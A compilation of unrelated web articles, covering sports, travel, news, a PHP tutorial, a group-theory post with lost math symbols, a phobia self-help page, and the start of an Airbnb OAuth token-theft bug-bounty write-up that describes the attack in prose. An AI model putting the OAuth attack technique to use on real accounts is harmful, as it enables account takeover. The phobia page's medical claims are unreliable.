Kupp didn’t necessarily have a bad combine, he just didn’t have a good enough one to stop other receivers from overtaking him in the draft. He ran a relatively underwhelming 40 of 4.62 seconds and didn’t stand out in the explosive drills like the vertical and broad jumps. Kupp is still a good player, but teams need to understand he might only work in the slot in the NFL, and that could be a hit on his draft value.
Teez Tabor, CB, Florida
No one expected Tabor to light up the combine from an athletic standpoint, but most thought he’d run a better 40-yard dash than 4.62 seconds. Tabor came into the combine with some off-field questions, and he could have quieted them some with a good workout. But he had pretty ordinary numbers.
If teams have him rated closely with some other first-round cornerbacks, they may get the nod because of athleticism and fewer character questions. Tabor fortunately has his quality play to fall back on, but his competition does too.
Charles Harris, DE, Missouri
When a speed rusher comes to the combine and doesn’t have speed, that leads to questions. Harris is the latest Missouri pass rusher headed to the NFL, and with the Tigers he made his name off a good initial burst and the ability to work the edge. But after registering a 10-yard split of 1.66 seconds in his 40-yard dash, teams might want to go back and look to see what they liked about Harris. He was a borderline first-round pick, and will need a good pro day to boost his draft stock.
Teams that need a quarterback
Any expected action involving the New England Patriots and moving backup quarterback Jimmy Garoppolo was quieted early last week when it was reported the team won’t trade him. That was blow No. 1 for the numerous teams at the top of the draft that need a quarterback.
Blow No. 2: Mike Glennon (Mike Glennon!) is now expected to get paid $15 million a season.
Blow No. 3: The Buffalo Bills still haven’t released Tyrod Taylor.
Blow No. 4: Although Deshaun Watson of Clemson probably had the best week of the top quarterbacks, none of them looked like the type of superstar you need at the position. You have to wonder how many of the quarterback-needy teams will punt on the position this year and hope they get a chance on someone like Sam Darnold of USC in 2018. |
Small towns take their 4th of July celebrations very seriously. Keokuk, Iowa actually upgraded the electrical system in their park to be able to run the rides in the traveling carnival that was in town. And while the deathtrap rides and the 2 p.m. Zumba demonstration at the pavilion sounded intriguing, we decided to make the drive to Hannibal, Missouri, birthplace of Samuel Langhorne Clemens, for the annual Tom Sawyer Days celebration.
We arrived just in time for the fence-painting contest. Boys dressed in their best Tom Sawyer costumes whitewashed small sections of picket fences as fast as they could while girls in bonnets judged the results. Anyone can participate — there’s even an over 30 class later in the day. Just watch out for the fire hose they use to wash down the whole area between rounds.
After that we wandered over to the Mississippi Mud Volleyball Tournament where very dedicated athletes sloshed around in knee-deep mud pits competing for the title.
Of course, as we strolled Main Street Hannibal a handwritten sign that read “Craft beer tasting, 12 samples for $10,” caught my eye. We each plucked down a Hamilton and got our official tasting cup and tickets.
Two larger breweries, Abita and Sierra Nevada were there, but there were also a dozen other local breweries featuring a menagerie of different types of beers.
My only critique of the beer tasting was that the booths were run by local volunteers, not anyone from the actual breweries. Aside from a few laminated cards touting each beers flavor notes, there were no answers to critical questions like, “Why does your brewery make four different IPAs and what’s the big difference between them?”
Even with our questions unanswered we had a very nice time chatting with all of the beer tasting volunteers and due to some very generous pours, we weren’t able to get anywhere close to using all of our tickets.
No holiday is complete without some boating, so at 6 p.m. we wandered down to the Mark Twain Riverboat for the dinner cruise.
Dinner was a bit pricey at $40 per person, and we paid the additional $25 to stay on the boat for fireworks after dinner, but how often do you get the chance to have dinner on a riverboat while taking in the scenery described in both Tom Sawyer and Huckleberry Finn?
Dinner was a one-trip buffet with a small desert served at the table. Beer, wine and mixed drinks in souvenir cups were available at a cash bar.
Paying the extra to stay and watch the fireworks was definitely worth the price of admission. Chairs were set out for us on the top deck, and the captain held position right in front of Lover’s Leap, the lookout point where the fireworks were based.
Fireworks are best captured with a long exposure, which is next to impossible on a moving boat, but I snapped one shot just to prove we were there before settling in to enjoy the show.
Hannibal was really hopping when we got back to shore with bands playing on several patios and on the roof of the Mark Twain Brewing Company. However, we had a two-hour drive back to Illinois, so we called it a night and headed home.
Incidentally, I had to brake for two different raccoons, a deer, and an owl before we made it back to Warsaw — making our small town 4th of July complete. |
Coca Cola agrees to pay all damage costs in oil leak – CEA Chairman Professor Lal Dharmasiri
Published : 9:58 am September 1, 2015 | No comments so far | | (3485) reads |
By Rumana Razick
The release of the results of the contaminated water samples taken from the Kelani River following the oil leak has been postponed to September 11 since more time was requested by the analysts, Water Board Deputy General Manager Ranjith Perera said.
According to the Federation of Environmental Organisations, approximately 400,000 citizens were affected due to the oil contamination of the Kelani on election day. The organisation further stated that the Central Environmental Authority (CEA) must ensure that all industries located along the Kelani River were implementing the conditions under the Environmental Protection Licence (EPL) adequately.
It was also found that the Marine Environmental Protection Authority (MEPA) had sent a letter to the Coca Cola Company claiming rupees Rs 177,000 as travel costs and use of oil absorbents to clear up the water. A further 1.45 million was claimed by the Shanika Marine Company that was hired by the MEPA for cleaning the river with the use of oil absorbents and physical barriers.
Asanka Wijewarnasooriya, MEPA Western Province said that the amounts were paid in full by the company. “We have also requested the CEA to have these physical barriers at other parts of the river as a safety precaution,” he said.
Meanwhile estimates are being prepared by the CEA for the damages caused to water quality, the environment and equipment at the Ambathale water treatment plant.
According to the Federation of Environmental Organisations, approximately 400,000 citizens were affected due to the oil contamination of the Kelani on election day.
“Almost all sand filters and nozzles were blocked and needed to be replaced. We handed the list of damages caused due by the oil leak. We have included all costs incurred by social damages, loss of revenue, labour costs and material costs,” Perera said. Speaking of the resurfacing of oil droplets he said that it was due to heavy rain washing down oil deposits into the river..
“At 9.30 am on Friday (August 28) we noticed the patch of oil. Immediately we shut down the plant ensuring that no water was pumped in. Consequently the water supply was disrupted for four hours till the oil droplets were flushed out of the river,” he said.
Speaking to Daily Mirror CEA Chairman Professor Lal Dharmasiri said that the EPL will not be given to the Coca Cola Company till the water board submits its ‘No Objection’ letter.
He said that the company has agreed to pay all damage costs and prepare a contingency plan for the future.
Environmentalist Centre for Environmental Justice - Hemantha Vithanage
It was a question as to how oil droplets resurfaced. Two days after the leak we were informed that all oil traces of oil had been cleared. However two weeks later when the droplets resurfaced officials claimed that oil droplets deposited on the river banks were washed into the river following a heavy downpour. Doesn’t this suggest that they were not thorough in their cleaning? If Coca Cola was responsible shouldn’t they be fined twice? Also to my knowledge none of the authorities have done an assessment on the damage caused to the biodiversity despite many requests by environmentalists.
(3485) |
Story highlights Sweet shop's servant acknowledged mixing pesticide into sweets, official says
At least nine members of one family have died from eating the confections
(CNN) Twenty-six people, many of them from a single family, are dead after ingesting sweets that had been mixed with pesticide, Pakistani officials said.
Dozens more have been hospitalized.
Dr. Taha Salman, a visiting doctor in Layyah, said the patients need to be transferred to Lahore or Karachi medical centers because the local hospital doesn't have the capability to pump their stomachs.
Umer Hayat bought five kilograms (about 11 pounds) of laddu, a ball-shaped confection of dough and sugar, from Tariq Hotel & Sweet in the village of Karor Lal Esan, said Layyah District Coordination Officer Rana Gulzar. The village, in the Layyah district of Punjab province, sits about 400 kilometers (250 miles) west of Lahore.
The sweets were to celebrate the birth of Hayat's grandson, Abdullah, but recipients of the treats began falling ill Thursday, Gulzar said.
Read More |
mrkrstphr's blog
Yesterday, a question appeared on Reddit about the purpose of interfaces in PHP. While I was too late to the party to provide an answer to that thread (at least that would get noticed by anybody), I thought it was a great topic of conversation.
So let’s take a look at interfaces in PHP.
Interfaces
Interfaces are a lot like classes, except with much less features. In fact, there are only two things you can do in an interface:
Define public method stubs, or public methods signatures without bodies, and Extend another interface
This ends up looking something like:
<?php interface QueryInterface { public function whereId ( $id ); } interface CustomerQueryInterface extends QueryInterface { public function whereType ( $type ); }
Following the normal rules of inheritance, the CustomerQueryInterface defines two methods:
whereId($id) from the parent QueryInterface whereType($type) from itself
Again, these methods cannot have bodies in an interface. So where is the usefulness in this?
Note: you don’t have to name an interface with the suffix of Interface . Here, I’m just following the handy naming guidelines used internally by the PHP Framework Interop Group (PHP-FIG). You can name them however your heart desires.
Implementing Interfaces
When a normal class implements an interface, it must implement all methods defined in that interface. In this sense, it’s sometimes described as a contract as, in order to use the interface, the extending class must follow the contract of that interface.
Of course, an implementing class can implement other methods outside of the interface, but it must at least implement all of those methods.
So what if we wanted to use the CustomerQueryInterface ?
<?php class CustomerQuery implements CustomerQueryInterface { public function whereId ( $id ) { // do something to get Customer by $id } public function whereType ( $type ) { // do something to get Customer by $type } }
We use an interface by using the implements keyword. It’s very similar to extending other classes, but only works for interfaces. The implements keyword also allows us to implement multiple interfaces, whereas extending in PHP only allows you to extend one class.
The CustomerQuery class is required to implement both the whereId($id) and whereType($type) methods of the CustomerQueryInterface . It must adhere to the contract of the interface.
But again: how is this useful?
Dependency Injection
To see one of the biggest uses of interfaces, we first must take a detour and discuss the topic of dependency injection.
Dependency injection removes the management or instantiation of dependencies from the class using that dependency, the dependent class, and gives it to some external agency, usually the mechanism responsible for instantiating the dependent class.
Essentially, with dependency injection, or dependencies are given to us, rather than us creating them.
So if you previously had a class that looked like this:
<?php class CustomersController { private $customerQuery ; public function __construct () { $this -> customerQuery = new CustomerQuery (); } }
With dependency injection, this class would be refactored to look like:
<?php class CustomersController { private $customerQuery ; public function __construct ( CustomerQuery $customerQuery ) { $this -> customerQuery = $customerQuery ; } }
Now, instead of instantiating our dependency, CustomerQuery , we’re given, or injected with, this dependency. Obviously this begs the question “how does CustomerQuery get instantiated and passed to the CustomerController , then? That’s a topic for another time, but obviously whatever is responsible for instantiating the controller is now responsible for instantiating the query as well.
This is a seemingly tiny change, but it opens up a world of possibilities for our code:
We can now swap out implementations of CustomerQuery without changing the code using it (almost, we have one more change to make in just a second). And because of this, We can test the CustomerController much easier, and in isolation, by now mocking the CustomerQuery object instead of instantiating it, and likely turning up a database instance just to test our controller. Our code is now more expressive. It’s easier to tell that it depends on CustomerQuery because we had to pass it when instantiating it. Previously, without digging into the code, we had no idea what the dependencies of this class might be.
So for the third time: how does this make interfaces useful?
Interface Type Hinting
In our previous example of dependency injection, we used a type hint in the constructor for CustomerQuery . Remember, CustomerQuery is a concrete implementation of the CustomerQueryInterface interface.
We can take this refactoring one step farther and, instead of type hinting the concrete implementation, we can instead type hint to the CustomterQueryInterface :
<?php class CustomersController { private $customerQuery ; public function __construct ( CustomerQueryInterface $customerQuery ) { $this -> customerQuery = $customerQuery ; } }
This where the concept of adhering to a contract really comes into play: our CustomersController declares that it requires an instance of CustomerQueryInterface . It doesn’t care what concrete instance of this interface it receives, just that it receives something with the methods it expects.
This allows us to decouple our controller from an actual implementation, and just couple it to a specification. Further, it allows us to swap out the concrete implementation with another, without having to change anything with the code using it.
This makes interfaces exceptionally useful and powerful in PHP.
Interfaces are Contracts
Simply put: interfaces are contracts that some code implements and adheres to and other code depends upon. It allows us to have assurance that any given dependency will implement the methods we expect. Even further, with the upcoming PHP 7, we can also use type hints (object and scalars) and return types to further ensure that concrete implementations adhere to the contracts.
Checkout my article on Implementing the Onion Architecture in PHP for more examples of how to use interfaces to achieve cleanly architected, decoupled code. |
Who asked for this? We’ll probably never know. But anyways: the “cult classic” science fiction film The Lawnmower Man is coming to virtual reality. Beyond the VR world already in the film, to actual VR.
The 1992 film is being resurrected by the VR distribution company Jaunt, according to an announcement made at the Sundance Film Festival. “The original movie was a film of unsurpassed imagination and creativity with its ground-breaking use of VR back in 1992,” said Jim Howell, a rights holder for the project, in a press release. So far no director, cast, or other information has been announced, other than its impending episodic remake. But there’s one thing we can count on: there’s probably no way that Stephen King is involved.
The Lawnmower Man was a controversial film upon its release. The film’s title spawned from a short story by King, but other than a fleeting scene and sharing a name, the film was otherwise completely unrelated to the story written by the famous horror novelist. Unnerved by the inaccuracy, King sued the filmmakers to have his name removed from the credits, and won.
In addition to The Lawnmower Man remake, Jaunt is bringing a number of other series to VR. Of the four others include Luna (action-thriller), The Enlightened Ones (political sci-fi), Bad Trip (stoner comedy), and Miss Gloria (sci-fi action-adventure). Yet of all five new episodic series, Lawnmower Man bares the least details.
If any cult classic sci-fi film were to see a bombastic remake in VR, perhaps it’s best that it’s The Lawnmower Man. It’s a film already so tethered to the concept of VR, as its centric tale follows a man driven mad by VR experiments. At its release, the film’s special effects were highly praised – something that might carry over to VR. And after all, the original film was hardly well received, so what’s the worst that could happen?
You can read more about The Lawnmower Man VR-bound remake on Jaunt’s press release. |
The Group Isomorphism Problem: A Possible Polymath Problem?
Can we beat the “trivial” bound on group isomorphism?
William Burnside was one of the founders of modern group theory. His classic book, Theory of Groups of Finite Order, helped lay the foundations. He proved some beautiful theorems, made some great conjectures, and in general helped start the modern era of group theory.
Today Ken and I want to talk some more about group isomorphism.
There was great interest in a possible attack on this problem. Perhaps it is a candidate for a Polymath Project. In any event looking at a precise conjecture is one of the best ways to make progress in any area of theory or mathematics.
Burnside did exactly this for group theory. He stated one of the most important conjectures in group theory, which was named after him. Suppose that is a group that is generated by a finite number of elements. if there is an element such that is infinite, then obviously the group is infinite. But if all elements, not just the generators, of the group have a finite order, must the group be finite? Burnside conjectured yes.
Burnside’s Problem Specialized
Burnside found a neat way to develop his conjecture that also identified important special cases. The exponent of a group is the least common multiple of the orders of its elements, if it exists. If is finite then by Lagrange’s Theorem its exponent divides .
We can make an infinite group of exponent 2 by taking and adding these infinite binary vectors componentwise mod~2. Every vector added to itself produces the identity, the all-zero vector. However, the group has no finite generating set because the sums of -many vectors can produce at most elements. This is true of exponent-2 groups in general: they are Abelian because
for all elements . Hence at most distinct “words” can be made from generators.
The case of exponent 3 is trickier, as not every such group is Abelian. Burnside himself resolved it in the positive: if a group of exponent 3 is finitely generated, then it is finite. Burnside was emboldened to put forth his conjecture:
For all and , if is a group with generators that has finite exponent , then is finite.
This is technically weaker than the general first statement we gave, because the latter could (and did) fail by having a finitely generated group with all elements of finite order but an infinite exponent. However, Burnside himself made his special conjecture even more concrete by defining a single group such that the conjecture holds for if and only if is finite. See here for a definition of , which is analogous to a complexity class having a complete set.
Disproved and Still Kicking
Just before World War II the conjecture was proved for and all by Ivan Nikolaevich Sanov. Then Marshall Hall, Jr., proved it for and all in what was termed a “heroic calculation.” Ken served as Marshall’s official host at Merton College, Oxford, for much of 1986, even putting him up when the Fellows’ Guestrooms weren’t available. Hall co-wrote a paper making progress on in 1981, but Ken recalls only that he and Marshall talked about combinatorial designs.
However, Burnside’s original conjecture was refuted in 1964 by Evgeny Golod and Igor Shafarevich, who built an infinite group with three generators whose elements have finite orders that are unbounded powers of , where can be any given prime. Then in 1968, Pyotr Novikov and Sergei Adian refuted Burnside’s particular conjecture for all and all sufficiently large odd , originally . Later this was extended to all odd , and others gave negative answers for many even . The problem is extremely tricky, even strong group theorists have slipped: I discussed this quite a while ago here—where I talked about John Britton’s long, complex, but unfortunately incorrect proof.
The problem is still kicking, however, because of Burnside’s concrete development of it. Cases for smaller and various are still open, including . Even when is infinite, one can still pose the restricted Burnisde problem: is there a finite bound on the orders of -generator groups of exponent that are finite? Efim Zelmanov won a Fields Medal in 1994 largely for showing that in a sweeping range of cases the answer is yes.
We wish to propound a problem that has some similar ingredients and special cases. Analyzing these cases may require some “heroic calculation,” but that may be structurable in a way that is good for a Polymath project.
The Group-Isomorphism Problem, Again
Recall that a group can be presented by giving the Cayley table: if a group has elements this table is in size. The table just encodes the product function “ ” in the obvious way: the entry is the value of .
The problem is given two groups and , are they really the same—that is can we relabel the elements so the tables are identical? This is asking whether the groups are isomorphic, to use a more technical terminology. The current best bound, as discussed before, is that this can be done in
time by a deterministic algorithm. This method relies on the fact that any group of size has a generator set of size at most . This is a quasi-polynomial time.
Finite -Groups
A -group is a group in which every element has order for some , where is a prime. For a finite group the order of the group must likewise be a power of . Recall that the counterexamples by Golod and Shafarevich are infinite -groups. Finite -groups have many special properties that seem to make them candidates for an attack; they also have many properties that make them look impervious to attack. For more on them, start here.
Let’s denote the number of groups, up to isomorphism, of order by . This function is quite nasty, since it varies widely with the multiplicative structure of . If is a prime, then , since only the cyclic group is possible. If has many factors, then can be very large.
Related to this function is the folklore conjecture asserting that almost all finite groups are 2-groups: the fraction of isomorphism classes of 2-groups among isomorphism classes of groups of order at most is thought to tend to as tends to infinity. This leads us to ask:
Can we solve the Group Isomorphism Problem specialized to -groups in polynomial time? Or at least improve the above quasi-polynomial time?
Good News and Bad News
Several features of -groups provide structure to get a handle on, but other features forbode that calculations may have to be longwinded.
The good news: The family of -groups always have a non-trivial center. Recall the center of a group is the subgroup of elements that commute with all the other elements. In general this subgroup, , can be trivial, that is consist of just the identity element. But -groups have the wonderful property that the center is always nontrivial.
Here is a simple application of this principle. Any group of order for a prime is abelian. Let the group be , and let be the non-trivial center. We can assume that is order , else it is all of and then is abelian. Let be an element of . The group generated by and is larger than , so by Lagrange’s Theorem it has order , and thus is equal to . But also this group is abelian. This follows since commutes with all of —recall that is the center.
The bad news: They can have large generators, as large as , where . Even if the number of generators is close to the trivial isomorphism algorithm will still be supe- polynomial.
There is also the Burnside structure theorem on the generators of such a group: his theorem works for any -group. One of the cool properties is that all generator sets of such groups have the same cardinality, which is false in general for groups. For many mathematical structures the size of a minimal generator set is always the same: -dimensional vector spaces are the standard example. But for general groups, minimal generator sets can be vastly different in size. Even the symmetric group has this property—it can be generated by two elements or by many more elements. Note, we are always talking about generator sets that are minimal, meaning that removal of any single element will destroy the generator property.
A Special-Case Problem
George Pólya had a principle for working on problems: when working on a hard problem, try to find a special case that captures its essence. I suggest that the best case to look at is the class of -groups. One clear reason is that they are the worst case for the trivial time bound, since they could have as many as generators. Note that if all elements in such a group have order 2, then the group is abelian. And since isomorphism is easy for abelian groups, this is a good case.
I think what we need is another strategy besides the generator approach. Let be a 2-group. If it has a very large abelian subgroup, then it should be easy to handle. If on the other hand, it has only a small abelian subgroup, then can we show that it has some special structure that we can exploit?
Open Problems
Should we organize a Polymath Project? Ken and I think that we would help with one, but that we probably need at least one strong group theorist to help run such a project. Any takers?
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European network providers that want the United Nations to consider a new Internet tax targeting Google, Facebook, Apple, and Netflix today defended their proposal, which was leaked earlier this week.
The idea of requiring content providers to pay fees based on usage is an "innovative" change to the way the Internet currently works and will create a more "fair" environment "where operators' revenues will not be disconnected from the investment needs made necessary by the rapid growth of Internet traffic," the providers said in a statement (PDF).
U.S. House of Representatives
Last night, CNET reported that the European Telecommunications Network Operators Association, or ETNO, a Brussels-based lobby group representing companies in 35 nations, proposed the idea for debate at a December meeting of a U.N. agency called the International Telecommunication Union. ETNO's members, which unanimously approved the idea, include Deutsche Telekom, France Telecom, Telecom Italia, Swisscom, and Spain's Telefonica.
While this is the first time this proposal been advanced, European network providers and phone companies have complained bitterly about U.S. content providers for some time. France Telecom, Telecom Italia, and Vodafone Group want to "require content providers like Apple and Google to pay fees linked to usage," Bloomberg reported last December.
ETNO refers to it as the "principle of sending party network pays" -- an idea borrowed from the system set up to handle payments for international phone calls, where the recipient's network set the per-minute price. If its proposal is adopted, it would spell an end to the Internet's long-standing, successful design based on unmetered "peered" traffic, and effectively tax content providers to reach non-U.S. Internet users.
Today's statement from ETNO says: "It will be possible to establish new interconnection policies based on the 'value' of the traffic (not only on the 'volume'), enabling new business models and implementing an ecosystem where operators' revenues will not be disconnected from the investment needs made necessary by the rapid growth of Internet traffic." It suggests that "operating agencies shall negotiate commercial agreements to achieve a sustainable system of fair compensation for telecommunications services."
The leaked documents (No. 1 No. 2) were posted by the Web site WCITLeaks, which was created by two policy analysts at the free-market Mercatus Center at George Mason University in Arlington, Va, who stress their Wikileaks-esque project is being done in their spare time. The name, WCITLeaks, is a reference to the ITU's December summit in Dubai, the World Conference on International Telecommunications, or WCIT.
In a rare show of bipartisan unity during an election year, both the Obama administration and Republican members of Congress warned last week that secret negotiations at the ITU over an international communications treaty could result in a radical re-engineering of the Internet ecosystem and allow governments to monitor or restrict their citizens' online activities. |
For the batting and scoring base in baseball, see Home plate
"Home ice" redirects here. For the XM Satellite Radio channel, see NHL Home Ice
In sports, home is the place and venue identified with a team sport. Most professional teams are named for, and marketed to, particular metropolitan areas;[1] amateur teams may be drawn from a particular region, or from institutions such as schools or universities.[2] When they play in that venue, they are said to be the "home team"; when the team plays elsewhere, they are the away, visiting, or road team. Home teams wear home colors.
Venue [ edit ]
Each team has a location where it practices during the season and where it hosts games. This is referred to as the home court, home field, home stadium, home arena, or home ice.[3] When a team is serving as host of a contest, it is designated as the "home team". The event is described as a "home game" for that team and the venue that the game is being played is described as the "home field."[4] In most sports, there is a home field advantage whereby the home team wins more frequently because it has a greater familiarity with the nuances of the venue and because it has more fans cheering for it, which supposedly gives the players adrenaline and an advantage.[citation needed] The opposing team is said to be the visiting team, the away team, or the road team.
In baseball, sometimes, when teams are playing a makeup game from an earlier game postponed by rain, the game may have to be made up in the other team's stadium. An example of this occurred on September 26, 2007, with a game between the Cleveland Indians, who were the "home" team, but the game was played vs. the Seattle Mariners in Safeco Field, with their fans, etc.[5] Other instances of the home team playing in the visitor's stadium include the New Orleans Saints hosting the New York Giants at Giants Stadium in East Rutherford, New Jersey a few weeks after Hurricane Katrina hit New Orleans in 2005; and the Toronto Blue Jays playing a 2010 home series with the Philadelphia Phillies in the Phillies' Citizens Bank Park while the G-20 Summit was being held near the Rogers Centre in Toronto. Because it was an interleague series, the designated hitter rule was instituted in a National League ballpark for the first time in the regular season.
A spectator can often tell which team is home by looking at the field of play. Often a home team logo, insignia or name is in the middle of the field at center ice, midfield, or center court. Also, the logo, insignia or name may be found atop a dugout in baseball or in the end zone in American football.
Uniforms or kits [ edit ]
Rules and conventions often apply to the choice of home and away colors. In Australian football, the home team traditionally wears black shorts. In American football and ice hockey, the home team tends to wear uniforms that feature their team colors, whereas the visiting team will wear white or a lighter color.[citation needed] On the other hand, in baseball and basketball, the home team will typically choose to wear the lighter colored version of its uniform. Many teams have a home uniform which is mostly white and referred to as the "home whites".[citation needed]
The road team will generally wear a version of its uniform with one of the darker of its official colors as the main color, or in baseball with a grey main color referred to as the "road greys". The term "home whites" originated in the early days of Major League Baseball. Typically the visiting team had no access to laundry facilities and thus the players were unable to clean their uniforms on the road. By wearing grey or another dark color the visiting team was better able to conceal the dirt and grass stains that had accumulated on their uniforms over the course of the series. The home team, having access to laundry facilities, was able to wear clean white uniforms each day, hence the term "home whites".[citation needed]
Miscellaneous [ edit ]
In any context where a game score or the pair of teams meeting in a game are mentioned, the team mentioned first (left or top) is the home team, except in the United States and Canada, and to a lesser extent, Japan, where home teams are mentioned second. The North American and Japanese practice of listing the home team second likely derives from baseball, in which the home team bats after the visiting team in each inning.[citation needed][6] Exceptions are found in most North American soccer competitions, where the international standard of listing the home team first is mostly adhered to.
Typically, the home team has responsibilities such as supplying the venue and equipment, hosting its opponent, media and the officials (referees, umpires, etc.), and may have the opportunity to sell tickets, food and media rights.
See also [ edit ] |
UPDATE: There is some recent confusion around Groupon’s intended use of a product name that the GNOME Foundation believes infringes on their trademarks. While notified by the GNOME Foundation directors that they believed this was the case, we were not able to come to an agreement and were proceeding with the registration of our marks. We apologize for any distress this has caused GNOME Foundation and the open source community.
We love open source at Groupon. We have open-sourced a number of projects on Groupon’s github. Our relationship with the open source community is more important to us than a product name.
After additional conversations with the open source community and the Gnome Foundation, we have decided to abandon our pending trademark applications for “Gnome.” We will choose a new name for our product going forward. We will continue to work with the Gnome Foundation as we rebrand our product.
Please see our joint statement on the GNOME Foundation’s website and below:
“Groupon has agreed to change its Gnome product name to resolve the GNOME Foundation’s concerns. Groupon is now abandoning all of its 28 pending trademark applications. The parties are working together on a mutually acceptable solution, a process that has already begun.” |
If you have Cherophobia, you suffer from fear of gaiety or happiness or fun. You literally have an aversion to happiness. People with Cherophobia believe that if they become happy, they are inviting something negative in their lives. The word Cherophobia is derived from Greek charo which denotes Joy and phobos which is deep aversion or fear. Needless to say that, a person with Cherophobia is unable to live life fully and appreciate all that it has to offer. Their phobia interferes significantly with their day-to-day life.
Causes of Cherophobia
Cherophobia is a specific phobia. It may or may not have one definite cause. Several factors can play a role in it:
An incident in the past, particularly in childhood . As a child, the individual might have experienced great joy or happiness only to be followed by a traumatic incidence such as death of a near or dear one.
. As a child, the individual might have experienced great joy or happiness only to be followed by a traumatic incidence such as death of a near or dear one. Phobia is also a learned response . A parent or caregiver or an older sibling might caution the individual against being too happy as it ‘invites bad luck’. Worried and anxious parents can also create an environment which can influence the phobic.
. A parent or caregiver or an older sibling might caution the individual against being too happy as it ‘invites bad luck’. Worried and anxious parents can also create an environment which can influence the phobic. Genes also play an important role-some people are simply more susceptible to acquiring phobias like this one.
also play an important role-some people are simply more susceptible to acquiring phobias like this one. Panic attacks in the past upon being happy could have led to an embarrassing situation for the phobic. The individual’s mind then learns to create even more anxiety about happiness/or being a joyful situation again.
for the phobic. The individual’s mind then learns to create even more anxiety about happiness/or being a joyful situation again. Excess stress can lead to anxiety and depression and over the long term could cause the individual to become extremely fearful about being happy. This leads to phobia.
If you are looking to overcome your intense fear of happiness phobia, then it is helpful to try and work out its cause. Sometimes though, there is no simple explanation for it. Avoiding happy situations will only make the fear worse. So it is best to face the object of your fears, in this case, becoming happy.
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A little afraid
Somewhat afraid
Very afraid
Symptoms of Fear of Happiness Phobia
As with all other phobias, the fear of happiness can produce different symptoms in different people. In severe cases, even thinking about happiness or joy can trigger some or all of the following symptoms:
Dizziness, fainting spells
Pounding heart/ Accelerated heartbeat
Shivering, trembling
Hot or cold flushes
Being unable to breathe-feeling of choking
Numbness or tingling sensation
Feeling disconnected with reality
Thoughts of death or dying
Tightness in chest
Nausea or other gastrointestinal distress.
In patients with extreme Cherophobia, the fear can lead to disabling anxiety. The patient even starts to avoid certain situations, people or places which naturally impacts his/her normal routine. If the phobia symptoms last for more than 6 months, it is very important to seek medical help.
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18-34
35-49
50-64
Above 65
Self help for Cherophobia
Self help is the best way of overcoming any phobia, though you can also seek help of professionals. The key is to learn to manage anxiety and panic when faced with the thought of becoming happy. Many relaxation techniques are proven to help one achieve control over anxiety: deep breathing, meditation are some of them.
Mindfulness is another way of overcoming Cherophobia. When you are mindful and completely in the present moment, you naturally become free of fear which usually comes when you think thoughts of the future or about trauma of the past. The easiest way to become mindful is to bring your attention to your breath. Take a few deep breaths when you start feeling anxious. Also learn to take each day and every moment as it comes. This will prevent excess worrying and anxiety.
Online and offline support groups can also help. When you talk to people and share your fears with others, you feel comforted with the thought that you are not alone.
It also helps to read and educate yourself about your fear. Many self help books are available and they are based on principles of CBT or Cognitive Behavior Therapy which is a proven treatment for many kinds of phobias.
Professional help for Fear of Happiness
If the above self-help techniques do not show results, it is important that you seek help of a professional. You can initially approach your General Practitioner who can refer you to a specialist dealing with phobias. CBT or cognitive behavior therapy is a proven technique to overcome specific phobias like Cherophobia. It aims to identify connections between thoughts, behaviors and feelings. The therapist can help you learn skills to manage your thought patterns that trigger the symptoms of the phobia. Another useful therapy for fear of happiness phobia is Hypnotherapy. You must seek help of a trained hypnotherapist for this treatment. In extreme cases, you may be given drugs (tranquilizers or antidepressants) to manage your anxiety or severe panic attacks. Drug therapy should always be the last resort as most anxiety medicines are known to have severe side effects.
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Female
Friends and family members of the individual also play an important role; they should be supportive and sympathetic to the individual.
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Sen. Rand Paul (R-KY) said he will use every resource to stop Obama from bailing out Detroit.
“Over my dead body!”
Breitbart reported:
Sen. Rand Paul (R-KY) said he will use every resource he has at his disposal to stop President Barack Obama from bailing out newly-bankrupt Detroit because he believes the city can and must save itself and learn from its fiscal mistakes. “I basically say he [Obama] is bailing them out over my dead body because we don’t have any money in Washington.”
“There’s some good things that come out of bankruptcy,” Paul said in a phone interview from Iowa. “One is you get to start over. Bankruptcy lets you be forgiven of your debt. And you do so by getting new management, better management, and by getting rid of unwieldy contracts, contracts that give you where public employees are getting paid twice what private employees are and things come back more to normal. That’s the way cities and businesses can recover.
“I basically say he [Obama] is bailing them out over my dead body because we don’t have any money in Washington.” |
TL;DR: Login CSRF in combination with an HTTP Referer header-based open redirect in Airbnb’s OAuth login flow, could be abused to steal OAuth access tokens of all Airbnb identity providers and eventually authenticate as the victim on Airbnb’s website and mobile application. This attack did not rely on a specific OAuth identity provider app configuration flaw (e.g. wildcards in whitelisted redirect_uri URLs), which made it generic for all Airbnb’s identity providers (Facebook & Google at the time of reporting). Airbnb fixed both the login CSRF and open redirect issues and awarded a $5.000 bounty back in the summer of 2016.
OAuth token theft revisited
Most (if not all) publicly available examples of OAuth token theft attacks rely on modification of the redirect_uri parameter value in the call to an identity provider in order to steal either an authorization code or an access_token from an authenticated victim. This requires a non-exact match of redirect_uri configured values (e.g. wildcards for subdomains or paths in the URL) for the service provider’s application on the identity provider’s end. Although the attacks are similar, their associated technique and impact is different:
authorization code : Typically stolen via cross-domain leakage of the callback URL, which contains the precious authorization “code” GET parameter value that is appended to the redirect_uri URL by the identity provider upon redirection. A common example is theft via HTTP Referer header when loading cross-domain resources. Impact is typically authentication bypass on the service provider’s end, as the stolen “code” can be used to login as the victim there.
: Typically stolen via cross-domain leakage of the callback URL, which contains the precious authorization “code” GET parameter value that is appended to the redirect_uri URL by the identity provider upon redirection. A common example is theft via HTTP Referer header when loading cross-domain resources. Impact is typically authentication bypass on the service provider’s end, as the stolen “code” can be used to login as the victim there. access_token: Typically stolen via a cross-domain open redirect chain, since the access_token is communicated back via an URL’s location fragment (aka location.hash) by the identity provider, which survives cross-domain server-side redirects in all modern browsers. Impact is typically access to the victim’s identity provider with permissions of the service provider’s application there. Here’s a great example of a vulnerable Slack application on Facebook by Frans Rosén (golden oldie).
However, I made some new observations during investigation of Airbnb’s OAuth setup, namely:
Redirect_uri modification to steal authorization codes is no more . All major identity providers have implemented an extra server-side check when service providers attempt to exchange an authorization code for an access token, which ensures the redirect_uri has not been tampered with earlier (Facebook, Google). This is a good thing.
. All major identity providers have implemented an extra server-side check when service providers attempt to exchange an authorization code for an access token, which ensures the redirect_uri has not been tampered with earlier (Facebook, Google). This is a good thing. Major identity providers are not allowing wildcards in whitelisted redirect_uri lists anymore by default . They are a dying breed, mainly legacy applications are still vulnerable. This is a good thing.
